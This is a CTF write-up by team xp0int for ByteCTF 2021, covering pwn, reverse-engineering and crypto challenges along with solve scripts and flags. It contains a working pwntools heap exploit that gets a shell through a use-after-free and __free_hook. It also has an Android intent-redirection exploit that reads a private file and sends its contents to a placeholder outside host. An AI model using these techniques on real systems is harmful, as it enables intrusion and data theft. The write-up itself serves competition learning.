2021 ByteCTF Writeup xp0int Posted on Nov 19 2021 2021 ByteCTF Writeup ## 1. Pwn ### 1.1 bytezoom ![图片标题](https://leanote.com/api/file/getImage?fileId=6197c146ab644142c0e4e40b) 可以创建最多 100 个 Cat 或者 Dog。选择某个 Animal,可以使用 manage 功能修改其 name 和加大 age。创建某种 Animal 超过 100 个,map 链表中第一个 Animal 就会被释放;而若 Animal 的 index 为 0 时,不会重置当前已选择的 Animal。 利用思路:首先选择 index 为 0 的 Animal,然后创建 100 个 Animal 将其释放,就能通过 manage 功能对这个 Animal 进行 UAF。 1. 首先创建并选择 Dog A 和 Cat A; 2. 然后创建 100 个 Dog,Dog A 被释放(此时 Dog A 处于被选择状态); 3. 新创建一个 Cat B,Cat B 重用 Dog A 的堆块。 观察 Cat 和 Dog 的结构,发现 Dog age 成员的位置刚好就是 Cat 的 name 指针。通过 Dog A 的 age 修改 Cat B name 指针,可以利用显示 / 修改 name 的功能读写堆上任意偏移数据。 1. 首先通过控制输入字符串的长度,将 Cat A 的 name 堆块释放到 unsorted bin,然后利用 Cat B 泄露 main_arena 地址。 2. 再次利用 Cat B 将 &__free_hook-0x18 地址写到 tcache 0x20 bin 上。 3. 新创建一个 Animal,name 设置为 b"/bin/sh\x00"+ b'\x00'*0x10 + system_address。程序释放缓冲区的时候,就会执行 system("/bin/sh") 。 ``` #!/usr/bin/env python3 from pwn import * import warnings warnings.filterwarnings("ignore", category=BytesWarning) context(arch="amd64") context(log_level="debug") p = remote("39.105.37.172", 30012) libc = ELF("./libc-2.31.so") p_sl = lambda x, y : p.sendlineafter(y, str(x)) def create_d(idx, name, age): p_sl(1, "choice:") p_sl("dog", "or") p_sl(idx, "index") p.sendlineafter("name", name) p_sl(age, "age") def create_c(idx, name, age): p_sl(1, "choice:") p_sl("cat", "or") p_sl(idx, "index") p.sendlineafter("name", name) p_sl(age, "age") def create_c1(idx, name, age): p_sl(1, "choice:") p_sl("cat", "or") p_sl(idx, "index") p.sendlineafter("name", name) # ~ p_sl(age, "age") def select_c(idx): p_sl(3, "choice:") p_sl(1, "choice:") p_sl("cat", "or") p_sl(idx, "index") p_sl(4, "choice:") def select_d(idx): p_sl(3, "choice:") p_sl(1, "choice:") p_sl("dog", "or") p_sl(idx, "index") p_sl(4, "choice:") def cname_c(name): p_sl(3, "choice:") p_sl(3, "choice:") p_sl("cat", "or") p.sendlineafter("name", name) p_sl(4, "choice:") def cname_d(name): p_sl(3, "choice:") p_sl(3, "choice:") p_sl("dog", "or") p.sendlineafter("name", name) p_sl(4, "choice:") def cage_d(name): p_sl(3, "choice:") p_sl(2, "choice:") p_sl("dog", "or") p_sl(name, "year") p_sl(4, "choice:") def show_d(idx): p_sl(2, "choice:") p_sl("dog", "or") p_sl(idx, "index") def show_c(idx): p_sl(2, "choice:") p_sl("cat", "or") p_sl(idx, "index") create_c(0, "a"*15, 0) create_d(0, "a"*15, 0) select_c(0) select_d(0) context(log_level="info") for i in range(1, 100): create_d(i, "x", i) print(i) context(log_level="debug") # Free Dog A create_d(100, "x", 100) # BUG: UAF create_c(1, "b"*15, 1) # Gain an unsorted bin chunk cname_c("xxxx"*0x500) cname_c("xxxx"*0x1000) # Leak libc address cage_d(0x4098) show_c(1) p.recvuntil("name:") libc.address = u64(p.recv(6).ljust(8, b'\x00')) - 0x1ebbe0 info("libcbase: 0x%lx", libc.address) # Write &__free_hook-0x18 to tcache[size=0x20] cage_d(-0x18c18) select_c(1) cname_c(p64(libc.symbols["__free_hook"] - 0x18)) # Get shell while freeing name buffer create_c1(3, b"/bin/sh\x00" + b'\x00'*0x10 + p64(libc.symbols["system"]), 0) p.interactive() ``` 打远程需要拼网速,否则没创建完 100 个 Animal 就超时了。 ![图片标题](https://leanote.com/api/file/getImage?fileId=6197c18dab644142b4b483b4) FLAG: ```ByteCTF{794d0f2f-f0d1-478d-b0be-569e5ccb0aa0}``` ### 1.2 babydroid 出题人已经给出主要的 EXP 代码,所以这道题本质上是 Android 开发题(无误)。 ![图片标题](https://leanote.com/api/file/getImage?fileId=6197c1b0ab644142c0e4e969) 利用思路是利用 Intent 重定向读取应用私有目录下的 flag。 主要遇到了3 个坑: 1. Intent 返回的是 InputStream,需要想办法转换成 String。 2. 即使设置了 INTERNET 权限 和 usesCleartextTraffic,也无法使用 HttpURLConnection 发起 HTTP 连接。最后只能直接抄应用里面调用 Webview 的代码。 3. 出题人给的 EXP 有以下这段代码。实际上 getIntent().getAction() 可能返回 null ,若不修正的话应用就会崩溃。静态分析发现不了这个问题,需要在 Android studio 上 使用 AVD 虚拟机调试。 ``` if(getIntent().getAction().equals("evil")) ``` ``` package com.bytectf.pwnbabydroid; import androidx.appcompat.app.AppCompatActivity; import android.content.Intent; import android.net.Uri; import android.os.Bundle; import android.util.Log; import android.webkit.WebView; import android.webkit.WebViewClient; import java.io.IOException; import java.io.InputStream; import java.net.HttpURLConnection; import java.net.MalformedURLException; import java.net.ProtocolException; import java.net.URISyntaxException; import java.net.URL; public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); String act = getIntent().getAction(); if(act != null && act.equals("pwn")) { Uri data = getIntent().getData(); try { InputStream i = getContentResolver().openInputStream(data); StringBuilder sb = new StringBuilder(100); byte[] a = new byte[100]; i.read(a); for(int j = 0; j < 100; ++j) { sb.append(String.format("%c", a[j])); } //Log.e("Pwn", sb.toString()); String cookieStr = sb.toString(); Uri data2 = Uri.parse("http://xxx.xxx.xxx.xxx/" + cookieStr); if (data2.getScheme().equals("http")) { WebView webView = new WebView(getApplicationContext()); webView.setWebViewClient(new WebViewClient() { /* class com.bytectf.easydroid.MainActivity.AnonymousClass1 */ @Override // android.webkit.WebViewClient public boolean shouldOverrideUrlLoading(WebView view, String url) { if (!Uri.parse(url).getScheme().equals("intent")) { return super.shouldOverrideUrlLoading(view, url); } try { MainActivity.this.startActivity(Intent.parseUri(url, 1)); } catch (URISyntaxException e) { e.printStackTrace(); } return true; } }); setContentView(webView); webView.getSettings().setJavaScriptEnabled(true); webView.loadUrl(data2.toString()); } } catch (Exception e) { e.printStackTrace(); } }else{ Intent pwn = new Intent("pwn"); pwn.setClassName(getPackageName(), MainActivity.class.getName()); pwn.setData(Uri.parse("content://androidx.core.content.FileProvider/root/data/data/com.bytectf.babydroid/files/flag")); pwn.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION); Intent intent = new Intent(); intent.setClassName("com.bytectf.babydroid", "com.bytectf.babydroid.Vulnerable"); intent.putExtra("intent", pwn); startActivity(intent); } } } ``` FLAG: ```ByteCTF{ee169e20-17be-4b22-9a71-d0fe68eced9}``` ## 2. Reverse ### 2.1 moderncpp 1. 对每字节输入做某种一一对应置换,转换成01字串 2. 将所有01字串拼接在一起,长度补成8的倍数,每8个01字符按2进制转化成1字节整数 3. 2进制解码后的字节进行类TEA加密,然后与常值比较 其中输入做了一些限制,只能是小写字母数字和“{!@#%^&*()_+-=[]{};}” 一一对应置换可以在调试时获得 ``` // TEA解密,获取TEA加密前的数据 // 0x0c,0xf0,0x69,0xd8,0x4a,0x32,0xfb,0x62,0x8e,0xa4,0xcc,0x0c,0xc0,0x22,0x63,0xe5,0xb6,0xfd,0x07,0x5e,0xe6,0xfe,0xc6,0x8d,0xfd,0x8d,0x51,0xad,0xe4,0x68,0xfa,0x14,0x78 void decrypt(uint32_t v[2], const uint32_t k[4]) { uint32_t v0 = v[0], v1 = v[1], sum = 0xC6EF3720, i; /* set up; sum is (delta << 5) & 0xFFFFFFFF */ uint32_t delta = 0x9E3779B9; /* a key schedule constant */ uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; /* cache key */ for (i = 0; i < 32; i++) { /* basic cycle start */ v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3); v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1); sum -= delta; } /* end cycle */ v[0] = v0; v[1] = v1; } int main() { unsigned long long cmp[6] = { 0xb917171ac5d3669f,0x0ae80c5fb4b37b19, 0x215228808d80307f,0xde6c83d134d80589, 0xc6e65d3559b73618 }; uint32_t kkey[4] = { 0x62797465, 0x2D637466, 0x77656C63, 0x6F6D657E }; for (int i = 0; i < 5; i++) { decrypt((uint32_t*)&cmp[i], kkey); } for (int i = 0; i < 5 * 8; i++) { printf("0x%02x,", ((unsigned char*)cmp)[i]); } } ``` ``` trans = ["00001", "10011", "11000", "0011010", "01110", "11000", "010010", "10001", "100101", "00001", "01110", "11011", "0011010", "010010", "111011", "01000", "10110", "00110111", "1111010", "110010", "00011", "10000", "10100011101", "0110011", "011000", "111110", "01011", "11000", "11110110", "000001", "111000", "00101", "10011", "101000110", "1110010", "100100", "111111", "01101", "11010", "11110111", "1010001111", "00001", "10011", "11000", "0011010", "01110", "11000", "010010", "10001", "100100", "100100", "100100", "100100", "100100", "100100", "100100", "01101", "11010", "11110111", "001100", "111010", "00111", "10101", "00110110", "1110011", "101001", "00010", "01111", "10100011100", "0110010", "010011", "111100", "01010", "10111", "10100010", "000000", "110011", "00100", "10001", "1010001111", "1010000", "1010001111"] before = list("bytectf{abcdefghijklmnopqrstuvwxyz012345}bytectf{11111113456789!@#%^&*()_+-=[]{};}") assert len(trans) == len(before) dic = {} for i in range(len(trans)): dic[trans[i]] = before[i] # print(dic) cmp = [0x0c,0xf0,0x69,0xd8,0x4a,0x32,0xfb,0x62,0x8e,0xa4,0xcc,0x0c,0xc0,0x22,0x63,0xe5,0xb6,0xfd,0x07,0x5e,0xe6,0xfe,0xc6,0x8d,0xfd,0x8d,0x51,0xad,0xe4,0x68,0xfa,0x14,0x78] bin_cmp = "" for _ in cmp: bin_cmp += bin(_)[2:].rjust(8, '0') # print(bin_cmp[:5] in dic) idx = 0 res = [] while idx < 261: add = 1 # print(idx) while add < 20: cur = bin_cmp[idx:idx+add] # print(cur) if cur in dic: res.append(dic[cur]) idx += add break add += 1 print(''.join(res)) ``` FLAG : ```bytectf{autofp=[=](m0d3rnc++juejuezi){};}``` ## 3. Crypto ### 3.1 abusedkey ![图片标题](https://leanote.com/api/file/getImage?fileId=6197c292ab644142b4b49155) ``` import requests from Crypto.Util.number import long_to_bytes,bytes_to_long from hashlib import sha256 from Crypto.Cipher import AES from tqdm import tqdm url = 'http://39.105.181.182:30000/abusedkey/server/msg11' session_id = '8cae789b1eac36ad274ee14cac147bdf2dde49585c8db2463d5b6b5f7f44e4da' p = 2 ^ 256 - 2^32 - 977 Ep = EllipticCurve(GF(p),[0,7]) G = Ep((0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798,0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8)) Pc = Ep((0xb5b1b07d251b299844d968be56284ef32dffd0baa6a0353baf10c90298dfd117,0xea62978d102a76c3d6747e283091ac5f2b4c3ba5fc7a906fe023ee3bc61b50fe)) Msg12 = requests.get(url,data=session_id).text url = 'http://39.105.181.182:30000/abusedkey/server/msg13' Tc = -Pc data13 = session_id + hex(Tc[0])[2:].ljust(64,'0') + hex(Tc[1])[2:].ljust(64,'0') Msg14 = long_to_bytes(int(requests.get(url,data=data13).text,16)) iv = Msg14[:12] enc_flag = Msg14[12:-16] for i in tqdm(range(2**16)): ds = bytes_to_long(sha256(long_to_bytes(i)).digest()) KCS = -ds * Pc sk = sha256(long_to_bytes(KCS[0])).digest() A = AES.new(sk,AES.MODE_GCM,iv) flag = A.decrypt(enc_flag) if b'Byte' in flag: print(flag) break ``` flag:```ByteCTF{ce0f0dce-c8f7-423f-838b-a620ec3cd837}``` ### 3.2 JustDecrypt ![图片标题](https://leanote.com/api/file/getImage?fileId=6197c250ab644142c0e4f163) ``` import pwn from hashlib import sha256 import codecs from time import sleep def proof(END, HASH): table = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' for i in table: for j in table: for k in table: for l in table: STR = i + j + k + l + END if sha256(STR.encode()).hexdigest() == HASH: print(i + j + k + l) return i + j + k + l pt = b"Hello, I'm a Bytedancer. Please give me the flag!" con = pwn.remote('39.105.181.182', 30001) resp = con.recvuntil('> ').decode().split('\n')[-2] END = resp[12:40] HASH = resp[45:] con.sendline(proof(END,HASH).encode()) resp = con.recvuntil('> ').decode() con.sendline(('0' * 1024).encode()) resp = con.recvuntil('> ').decode() tmp = int(resp.split('\n')[1][32:34], 16) END = hex(tmp ^ 1)[2:].ljust(2, '0') DATA = ['0'] * 1022 + [END[0] , END[1]] roundnum = '' TABLE = [50,250,450] for i in range(49): sleep(1) idx = TABLE[i % 3] roundnum += hex(tmp ^ pt[i])[2:].rjust(2,'0') for j in range(len(roundnum)): DATA[idx + j] = roundnum[j] con.sendline((''.join(DATA)).encode()) resp = con.recvuntil('> ').decode() print(i,roundnum.zfill(98)) tmp = int(resp.split('\n')[1][TABLE[i%3]+2*i + 2:TABLE[i%3]+2+2*i + 2],16) roundnum += hex(tmp ^ pt[i])[2:].ljust(2,'0') con.sendline(('0' * 2048).encode()) resp = con.recvuntil('> ').decode() tmp = int(resp.split('\n')[1][32:34], 16) print(hex(tmp)) END = hex(tmp ^ 31)[2:].ljust(2, '0') print(len(roundnum),len(roundnum + END * 15)) con.sendline((roundnum + 58 * '0'+ END).encode()) resp = con.recv() print(resp) resp = con.recv() print(resp) resp = con.recv() print(resp) ``` flag: ```ByteCTF{8de1d3e1-5e74-4a73-b99e-7dc860183f96}``` ### 3.3 Overheard ![图片标题](https://leanote.com/api/file/getImage?fileId=6197c2dbab644142b4b494bb) ``` # 连接用脚本 import pwn from gmpy2 import invert from random import randint p = 62606792596600834911820789765744078048692259104005438531455193685836606544743 g = 5 con = pwn.remote('39.105.38.192',30000) resp = con.recvuntil("$ ").decode() con.sendline('1'.encode()) resp = con.recvuntil("$ ").decode() Alice = int(resp.split('\n')[0]) con.sendline('2'.encode()) resp = con.recvuntil("$ ").decode() Bob = int(resp.split('\n')[0]) con.sendline('3'.encode()) resp = con.recv(1024).decode() con.sendline(str(Alice).encode()) resp = con.recvuntil("$ ").decode() AliceBob = int(resp.split('\n')[0]) print('c1 = ',AliceBob) con.sendline('3'.encode()) resp = con.recv(1024).decode() con.sendline(str(pow(Alice,2,p)).encode()) resp = con.recvuntil("$ ").decode() AliceBob = int(resp.split('\n')[0]) print('c2 = ',AliceBob) con.sendline('4'.encode()) resp = con.recv(1024).decode() SEND = input('send: ') con.sendline(str(SEND).encode()) resp = con.recv() print(resp) # sage c1 = 29599245400103510126844665705234428663959969687042945989429410277722893058048 c2 = 17549134874331317464534964139671627000441097203060226867571953366738719997952 p = 62606792596600834911820789765744078048692259104005438531455193685836606544743 for i in range(128): M = Matrix([[2^i,0,c2 - c1 ^2],[0,1,-2 * c1],[0,0,-p]]) if M.LLL()[0][0] // (2 ^ i) == 1: res = M.LLL()[0] print(M.LLL()[0]) break x1 = res[1] y = x1 ** 2 - res[2] x1 + c1 ``` flag ```ByteCTF{0fcca5ab-c7dc-4b9a-83f0-b24d4d004c19}``` ### 3.4 easyxor ![图片标题](https://leanote.com/api/file/getImage?fileId=6197c336ab644142c0e4fd29) ``` # key爆破 cip = '89b8aca257ee2748f030e7f6599cbe0cbb5db25db6d3990d3b752eda9689e30fa2b03ee748e0da3c989da2bba657b912' cp = [cip[i:i+16] for i in range(0,len(cip),16)] flag = b'ByteCTF{' last = bytes_to_long(flag) ^ int(cp[0],16) for i in range(-32, 33): for j in range(-32, 33): for k in range(-32, 33): for l in range(-32, 33): last = bytes_to_long(flag) ^ int(cp[0],16) keys = [i,j,k,l] try: m1,last = decry_ofb(int(cp[1],16),keys,last) M = m1.decode('ASCII') m2,last = decry_ofb(int(cp[2],16),keys,last) M = M + m2.decode('ASCII') if check(M): print(M,keys) except: pass # [-12, 26, -3, -31] key = [-12, 26, -3, -31] IV = 16476971533267772345 S = z3.Solver() x = z3.BitVec('x',65) S.add(convert(x,key) == int(cp[5],16)) if S.check(): print(S.model()) print(long_to_bytes(10936161096540945944 ^ int(cp[4],16))) # 这是最后一个密文分组的Z3脚本, 每个分组都是手动填参数算出来的, 一共四个分组, OFB一个分组, CBC三个分组都需要Z3 # 注意的是有时候Z3会有多个解, 需要转成字符串判断是不是正确的解, 不正确的排除掉 ``` flag : ```ByteCTF{5831a241s-f30980q535af-2156547475u2t}``` 打赏还是打残,这是个问题 赏 Wechat Pay Alipay 2021 广东强网杯 Writeup [RE] uniapp - cew
没有帐号? 立即注册